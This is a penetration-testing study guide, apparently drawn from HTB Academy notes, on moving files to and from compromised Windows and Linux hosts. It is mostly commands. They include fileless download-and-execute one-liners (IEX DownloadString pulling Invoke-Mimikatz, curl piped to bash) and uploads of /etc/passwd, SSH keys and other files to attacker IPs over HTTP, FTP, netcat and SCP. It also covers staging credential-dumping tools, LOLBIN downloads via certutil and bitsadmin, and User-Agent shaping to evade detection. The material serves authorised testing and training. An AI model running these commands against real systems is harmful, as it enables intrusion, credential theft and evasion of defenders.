Introduction

File transfer is a core step after initial access because tools, logs, and evidence must move between the attacker and the target. Host controls like application allowlists, AV, and EDR often block common utilities, which means you need more than one method. Network controls such as firewalls and IPS can also restrict ports or flag unusual protocols, so flexibility is essential. A solid operator keeps multiple options ready and chooses the least noisy path that still works.

A reliable workflow starts with the safest and most stable channel, then falls back to stealthier or more manual options when defenses interfere. Small files can be moved with offline or encoded methods, while larger files usually need HTTP, SMB, FTP, or SSH. Integrity checks like MD5 or SHA hashes help confirm that data survived the transfer. This guide blends theory and commands so each choice is grounded in real constraints.

Transfer Strategy and Constraints

Transfer methods are shaped by egress controls, available tooling, and the size of the data you need to move. Even when you have a great tool, outbound ports may be blocked or the shell may be non-interactive, so you need alternates ready. Fileless execution reduces disk artifacts but increases memory-based detection, which makes it a tactical choice rather than a default. Keep logging in mind, and use the short checklist below to pick the fastest safe option.

  • Egress policy defines whether HTTP, SMB, FTP, or SSH can leave the network.
  • Interactivity determines if you can use tools that require multi-step commands.
  • File size affects whether you should stream, chunk, or use a resumable protocol.

Windows Transfers

Windows downloads typically start with PowerShell WebClient or Invoke-WebRequest, which can save to disk or run fileless. Base64 offline transfer is a fallback when egress is blocked, and SMB or FTP pulls work well inside internal networks but are often blocked externally. Use -UseBasicParsing on older systems, and always verify integrity when you copy manually. If TLS validation blocks downloads, switch to a trusted cert or a different transport. Keep in mind that fileless execution reduces disk artifacts but can increase memory telemetry.

# Base64 offline transfer
md5sum id_rsa
cat id_rsa | base64 -w 0; echo
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("<base64>"))
Get-FileHash C:\Users\Public\id_rsa -Algorithm MD5

# PowerShell web downloads
(New-Object Net.WebClient).DownloadFile(
  'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1',
  'C:\Users\Public\Downloads\PowerView.ps1'
)
IEX (New-Object Net.WebClient).DownloadString(
  'https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1'
)
Invoke-WebRequest https://example.com/tool.ps1 -OutFile tool.ps1 -UseBasicParsing
# SMB and FTP pulls
sudo impacket-smbserver share -smb2support /tmp/smbshare
copy \\192.168.220.133\share\nc.exe C:\Users\Public\nc.exe
sudo python3 -m pyftpdlib --port 21
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

Windows uploads usually require a web endpoint or a share that accepts writes. PSUpload with a simple upload server is the most practical HTTP option, while Base64 POSTs are a lightweight fallback when you cannot load helper scripts. WebDAV tunnels SMB-like behavior over HTTP, and FTP uploads work when the server allows writes. These methods are best for small to medium files to avoid timeouts or excessive noise.

# Upload server
pip3 install uploadserver
python3 -m uploadserver
# PSUpload and Base64 POST
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

$b64 = [System.Convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
# WebDAV and FTP uploads
sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\DavWWWRoot\

sudo python3 -m pyftpdlib --port 21 --write
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

Linux Transfers

Linux hosts usually have wget, curl, and ssh, which makes web and SSH transfers straightforward. Pipelines are also common, so you can execute scripts directly from URLs without touching disk. When tools are missing, Bash /dev/tcp provides a last-resort option for simple HTTP pulls. These traits make Linux flexible, but they can also leave obvious artifacts if you move too fast.

# Base64, web downloads, and fileless pipelines
md5sum id_rsa
cat id_rsa | base64 -w 0; echo
echo -n '<base64>' | base64 -d > id_rsa
md5sum id_rsa

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
# /dev/tcp and SCP pulls
exec 3<>/dev/tcp/10.10.10.32/80
echo -e "GET /LinEnum.sh HTTP/1.1\n\n" >&3
cat <&3

sudo systemctl start ssh
scp plaintext@192.168.49.128:/root/myroot.txt .

Linux uploads often use an HTTPS upload server or a simple web server that you later pull from. A self-signed HTTPS uploadserver is fast to set up and works when HTTPS is allowed. Ad hoc web servers on the target let you pull files from your machine with wget or curl. SCP pushes are also clean and encrypted when outbound SSH is permitted.

# HTTPS upload and ad hoc web server
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' --insecure

python3 -m http.server 8000
wget 192.168.49.128:8000/filetotransfer.txt

scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/

Code-Based Transfers

Code-based transfers are useful when common utilities are missing or blocked. Many servers already have interpreters like Python, PHP, Ruby, or Perl installed, which gives you built-in download capability. These one-liners also work well in restricted shells where only a few commands are allowed. On Windows, JavaScript or VBScript can run through cscript using the same ADODB.Stream pattern. If you can run code, you can usually move data.

# Scripted downloads
python2.7 -c 'import urllib;urllib.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh", $file);'
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
// Windows JS downloader via cscript
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), false);
WinHttpReq.Send();
var BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
# Python upload with requests
python3 -m uploadserver
python3 -c 'import requests; requests.post("http://192.168.49.128:8000/upload", files={"files":open("/etc/passwd","rb")})'

Alternate Channels

When standard protocols are blocked, raw channels like netcat, WinRM, and RDP can still move data. These methods rely on existing access rather than new network services, which makes them good for internal movement. They are not always stealthy, but they are reliable in constrained environments. Keep them as secondary options in your playbook.

# Netcat stream transfer
nc -l -p 8000 --recv-only > SharpKatz.exe
nc --send-only 192.168.49.128 8000 < SharpKatz.exe
# PowerShell Remoting copy
Test-NetConnection -ComputerName DATABASE01 -Port 5985
$Session = New-PSSession -ComputerName DATABASE01
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
# RDP drive redirection
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer

Secure Transfers and Encryption

Sensitive data like credential dumps or internal documents should not move in cleartext. Prefer encrypted protocols such as SSH, SFTP, or HTTPS whenever they are available. If those are blocked, encrypt the data before transfer to reduce exposure in transit. This also helps align with professional and legal obligations during a penetration test.

# Windows AES encryption
Import-Module .\Invoke-AESEncryption.ps1
Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt
# Linux OpenSSL encryption
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd

HTTPS PUT with Nginx

Nginx can accept HTTP PUT requests and act as a simple upload endpoint. This is safer than a misconfigured Apache setup, but you must isolate the upload directory and prevent execution. Use a dedicated path, limit permissions, and keep PHP or other handlers out of that directory. This method is stable and uses standard web ports, which usually pass through firewalls.

# /etc/nginx/sites-available/upload.conf
server {
    listen 9001;
    location /SecretUploadDirectory/ {
        root /var/www/uploads;
        dav_methods PUT;
    }
}

sudo mkdir -p /var/www/uploads/SecretUploadDirectory
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
sudo systemctl restart nginx.service
sudo rm /etc/nginx/sites-enabled/default
curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt

Living Off the Land

Living off the land techniques reuse trusted binaries that already exist on the system. This reduces the need to download new tools, but it does not guarantee stealth because the commands are still logged. These techniques are valuable when application allowlists block your usual tooling. Keep a small catalog of native downloaders for both Windows and Linux.

LOLBAS: https://lolbas-project.github.io/
GTFOBins: https://gtfobins.github.io/
# BITS and Certutil downloads
bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe
Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"
certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe

Detection Notes

Defenders can spot transfers through command-line logging, network telemetry, and unusual User-Agent strings. Simple blacklists are easy to bypass, but consistent patterns still stand out in central logs. Web clients often expose their identity in the User-Agent header, which makes some tools easier to spot. Use these observations to pick quieter methods or to shape your traffic when needed.

# PowerShell and COM web clients
Invoke-WebRequest http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"
Invoke-RestMethod http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"

$h = New-Object -ComObject WinHttp.WinHttpRequest.5.1
$h.Open('GET','http://10.10.10.32/nc.exe',$false)
$h.Send()
iex $h.ResponseText

$h = New-Object -ComObject Msxml2.XMLHTTP
$h.Open('GET','http://10.10.10.32/nc.exe',$false)
$h.Send()
iex $h.ResponseText
# User-Agent shaping and LOLBIN fallback
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"

GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"

Reference

This article is based on my personal study notes from the Information Security Foundations track.

Full repository: https://github.com/lameiro0x/pentesting-path-htb